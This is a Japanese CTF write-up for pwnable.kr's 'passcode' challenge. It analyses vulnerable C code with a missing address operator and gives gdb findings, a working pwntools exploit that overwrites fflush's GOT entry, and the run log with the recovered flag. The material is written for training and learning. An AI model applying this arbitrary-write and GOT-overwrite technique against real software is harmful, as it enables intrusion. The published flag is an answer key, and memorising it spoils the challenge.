Pwnable.kr 「passcode (Toddler's Bottle)」Writeup
アドレス演算子の抜けによる任意書き込みと,GOT-Overwriteに関する問題
pwnable_kr-passcode
Summary
本門はC言語におけるアドレス演算子 & の抜けによる任意書き込みと,GOT-Overwriteに関する問題です.
- Category: Pwn
- Description: Mommy told me to make a passcode based login system. My first trial C implementation compiled without any error! Well, there were some compiler warnings, but who cares about that?
- Tools & TechStack:
- C
- gdb
- Release:
N/A
階層構造
1
2
3
4
5
6
7
8
9
.
├── Dockerfile
├── flag
├── passcode
├── passcode.c
├── readme
└── run.sh
1 directory, 6 files
バイナリ保護機構
1
2
3
4
5
6
7
$ checksec --file=passcode
Arch: i386-32-little
RELRO: Partial RELRO # GOT overwrite
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
ソースコードの解析
一番最初に気になったのは,login() における scanf() の構文です. passcode1 に対して,%d で文字列を受け取るのであれば,scanf("%d", &passcode1); のようにアドレス演算子 (&) をつける必要があります. しかし,この実装では passcode1 の値が指すアドレスに,入力した整数を書き込む という処理になっています. そのため,enter passcode1: に対して10進数値を入れる方法は成り立ちません. 別の方法を考える必要があります.
ha! mommy told me that 32bit is vulnerable to bruteforcing :)というコメントがありますが,&が抜けているため,10進数を入力する方法がそもそも成り立ちません. 攻略のミスリードを誘うための作者の意図的なコメントだと思われます. そもそも,値がハードコードされているのにも関わらず,ブルートフォースする意味がありません.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#include <stdio.h>
#include <stdlib.h>
void login()
{
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1); // & がついてない
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);
printf("checking...\n");
if (passcode1 == 338150 && passcode2 == 13371337)
{
printf("Login OK!\n");
setregid(getegid(), getegid());
system("/bin/cat flag");
}
else
{
printf("Login Failed!\n");
exit(0);
}
}
void welcome()
{
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
int main()
{
printf("Toddler's Secure Login System 1.1 beta.\n");
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}
passcord1 のアドレスに任意値を書き込む方法を調べる
1
2
3
4
5
6
7
(gdb) disas welcome
#...
0x080492f6 <+4>: sub esp,0x74 # 116byte (16バイトアラインメント・パディング)
0x080492f9 <+7>: call 0x8049130 <__x86.get_pc_thunk.bx> # char name[100]
#...
0x0804933a <+72>: lea eax,[ebp-0x70] # [ebp-0x70] が name[100] の先頭アドレス
#...
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
(gdb) b *welcome+61
Breakpoint 1 at 0x804932f
(gdb) r
Breakpoint 1, 0x0804932f in welcome ()
(gdb) p/x $ebp - 0x70
$1 = 0xffff3e58
(gdb) disas login
#...
0x0804927d <+135>: cmp DWORD PTR [ebp-0x10],0x528e6
0x08049284 <+142>: jne 0x80492ce <login+216>
0x08049286 <+144>: cmp DWORD PTR [ebp-0xc],0xcc07c9
0x0804928d <+151>: jne 0x80492ce <login+216>
#...
(gdb) b *login+135
Breakpoint 2 at 0x804927d
(gdb) r
(gdb) p/x $ebp-0x10
$2 = 0xffff3eb8
ディスアセンブリから,passcode1 のアドレスが[ebp-0x10] = 0xffff3eb8 であり,同様に,name[] の先頭アドレスが [ebp - 0x70] = 0xffff3e58 であることが分かりました.
0xffff3eb8 − 0xffff3e58 = 0x60 = 96
[0xffff3e58, 0xffff3e58+100) の範囲に,passcode1 のアドレスが包含されているため,(name[96]~name[99]) で passcode1 に任意の値を書き込むことができます.
fflush() の GOT-Overwrite
scanf("%d", passcode1); の直後に fflush() が呼ばれています. そのため,以下の方法でGOT-Overwrite (Partial RELROより,.got.plt が RW) が可能だと思われます.
name[]とpasscode1のアドレスの包含を用いて,name[96]~name[99]にfflush()のGOT アドレスを埋め込む.->passcode1= fflushのGOTアドレス になる.passcode1の値 (GOTアドレス先) に対して,scanf("%d", passcode1);を用いてsystem()へのアドレスで上書きする.- if文をバイパスして,
system()に飛び,/bin/cat flagできる.
この方法を使用するために,まずは fflush() のGOTアドレスを確定させます.
1
2
3
4
5
6
7
8
9
$ objdump -R ./passcode
./passcode: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
#...
0804c014 R_386_JUMP_SLOT fflush@GLIBC_2.0
#...
fflush() のオフセットが 0804c014 であることが分かりました. あとは,ジャンプ先の system() のアドレスを確定させます.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
0x0804929e <+168>: add esp,0x10
0x080492a1 <+171>: call 0x8049080 <getegid@plt>
0x080492a6 <+176>: mov esi,eax
0x080492a8 <+178>: call 0x8049080 <getegid@plt>
--Type <RET> for more, q to quit, c to continue without paging--
0x080492ad <+183>: sub esp,0x8
0x080492b0 <+186>: push esi
0x080492b1 <+187>: push eax
0x080492b2 <+188>: call 0x80490c0 <setregid@plt>
0x080492b7 <+193>: add esp,0x10
0x080492ba <+196>: sub esp,0xc
0x080492bd <+199>: lea eax,[ebx-0x1fb9]
0x080492c3 <+205>: push eax
0x080492c4 <+206>: call 0x80490a0 <system@plt>
system() 関連の処理を含み,16byteアラインメント的にも安全な +196 のアドレス 0x080492ba を使用します.(もし,sub esp,0xc を飛ばすとアラインメントがずれてうまく動作しない可能性があるため)
Exploit を書く
このエクスプロイトコードでは,アドレスをハードコードしています. これは,この問題が No PIE であるため動作します.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
context.log_level = 'debug'
p = remote("pwnable.kr", 10004)
# fflush() の .got.plt のアドレスを passcode1 に入れる
name_payload = b'A'*96 + p32(0x0804c014)
# system() へのアドレスをGOTに上書き
overwrite_payload = str(0x080492ba).encode()
p.sendlineafter(b"enter you name : ", name_payload)
p.sendlineafter(b'enter passcode1 : ', overwrite_payload)
print(p.recvall(timeout=3))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ python3 exploit.py
[+] Opening connection to pwnable.kr on port 10004: Done
[DEBUG] Received 0x39 bytes:
b"Toddler's Secure Login System 1.1 beta.\n"
b'enter you name : '
[DEBUG] Sent 0x65 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000060 14 c0 04 08 0a │····│·│
00000065
[DEBUG] Received 0x80 bytes:
00000000 57 65 6c 63 6f 6d 65 20 41 41 41 41 41 41 41 41 │Welc│ome │AAAA│AAAA│
00000010 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000060 41 41 41 41 41 41 41 41 14 c0 04 08 21 0a 65 6e │AAAA│AAAA│····│!·en│
00000070 74 65 72 20 70 61 73 73 63 6f 64 65 31 20 3a 20 │ter │pass│code│1 : │
00000080
[DEBUG] Sent 0xa bytes:
b'134517434\n'
[+] Receiving all data: Done (97B)
[DEBUG] Received 0x61 bytes:
b's0rry_mom_I_just_ign0red_c0mp1ler_w4rning\n'
b'Now I can safely trust you that you have credential :)\n'
[*] Closed connection to pwnable.kr port 10004
b's0rry_mom_I_just_ign0red_c0mp1ler_w4rning\nNow I can safely trust you that you have credential :)\n'
Post-Mortem & Dead ends
&アドレス演算子が抜けている場合,これは任意書き込みにつながる可能性がある.
References
N/A
